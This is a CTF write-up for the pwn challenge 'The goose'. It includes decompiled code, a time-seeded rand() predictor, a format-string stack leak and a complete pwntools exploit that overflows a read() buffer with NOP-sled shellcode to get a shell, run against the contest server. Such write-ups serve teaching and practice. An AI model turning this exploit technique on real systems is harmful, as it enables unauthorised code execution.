+++ date = '2025-07-14T09:16:28+02:00' draft = false title = 'The goose' tags = [ "pwn" ] +++ description: When the honking gets tough, you better brush up on your basics. Author: dsp For this challenge we are given the binary and the Dockerfile ``` >>> pwn checksec --file=chall <<< [*] 'l3ak_ctf/pwn/the_goose/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: PIE enabled Stack: Executable RWX: Has RWX segments Stripped: No ``` No stack canary and executable stack we can already guess this will involve a shellcode. ## Exploration ``` >>> the_goose ./chall Welcome to the goose game. Here you have to guess a-priori, how many HONKS you will receive from a very angry goose. Godspeed. How shall we call you? > GOD so GOD. how many honks?10 HONK ... HONK tough luck. THE GOOSE WINS! GET THE HONK OUT! ``` So it seems like we have to guess the number of HONKs from the goose. Let's fire up ghidra and look at what we facing. ```C int main(void) { int iVar1; time_t tVar2; setvbuf(stdout,(char *)0x0,2,0); tVar2 = time((time_t *)0x0); srand((uint)tVar2); setuser(); iVar1 = rand(); nhonks = iVar1 % 0x5b + 10; iVar1 = guess(); if (iVar1 == 0) { puts("tough luck. THE GOOSE WINS! GET THE HONK OUT!"); } else { highscore(); } return 0; } ``` The number of honks are generated by `rand()` which is seeded with the current time. If we correctly guess the number of honks we go inside of the highscore function. ```C void highscore(void) { undefined message_buffer [128]; char buffer_random [31]; undefined local_d9; undefined name_buffer [32]; char success_message [74]; /* The message is written one char at a time I placed everything on the same line to make it readable */ success_message = "wow %s you\'re so go what message would you like to leave to the world?" success_message[0x49] = '\0'; printf("what\'s your name again?"); scanf("%31s",name_buffer); local_d9 = 0; sprintf(buffer_random,success_message,name_buffer); printf(buffer_random); read(0,message_buffer,0x400); printf("got it. bye now."); return; } ``` The highscore function has a really obvious buffer overflow on the call to `read` that would allow us to inject shellcode and jump to it. So there are two steps to this challenge : 1. Guessing the number of honks 2. Exploiting the `highscore` function to get a shell ## Guessing the number of honks The random number generator is initialised using `srand(time(NULL))` which makes the seed the second of the call to `srand`. We also know how the number of honks is calculated (`nhonks = iVar1 % 0x5b + 10;`). From there we can easily compute the number with a small C program ```C #include #include #include int main(void) { srand(time(NULL)); printf("%d", (rand() % 0x5b + 10)); return 0; } ``` After compiling we can call it from a pwntools script and correctly guess the number of honks (if you are on a slow link you can add 1 or 2 to the `srand` time). ```python number = subprocess.run(["./predict"], capture_output=True).stdout io.sendlineafter(b"> ", b"GOD") io.sendlineafter(b'so GOD. how many honks?', number) ``` ## Exploiting the highscore function Using the buffer overflow on the `read` call we can easily place a shellcode on the stack (there is no NX). The only problem is finding the address of something on the stack to be able to jump to our shellcode. This can be done using the format string vulnerability when we are asked for our name again. Giving `%p` as the name we are able to leak a pointer to the stack. The last step is to calculate the offsets and finish writing the exploit scrip ## Putting it all together ```python io = start() number = subprocess.run(["./predict"], capture_output=True).stdout io.sendlineafter(b"> ", b"GOD") io.sendlineafter(b'so GOD. how many honks?', number) io.sendlineafter(b"what's your name again?", b'%p') stack = int(io.recv().decode().split()[1], 16) stack -= 0x126 # Offset to our buffer # Space before return pointer 376 sh = asm(shellcraft.amd64.linux.sh()) payload = flat( asm('nop')*100, sh, b'A'*(376-100-len(sh)), pack(stack) ) io.sendline(payload) io.interactive() ``` We run it and there we go ``` >>> ./exploit.py REMOTE 34.45.81.67 16004 <<< [+] Opening connection to 34.45.81.67 on port 16004: Done [*] Switching to interactive mode got it. bye now.$ cat /flag.txt L3AK{H0nk_m3_t0_th3_3nd_0f_l0v3} [*] Interrupted [*] Closed connection to 34.45.81.67 port 16004 ```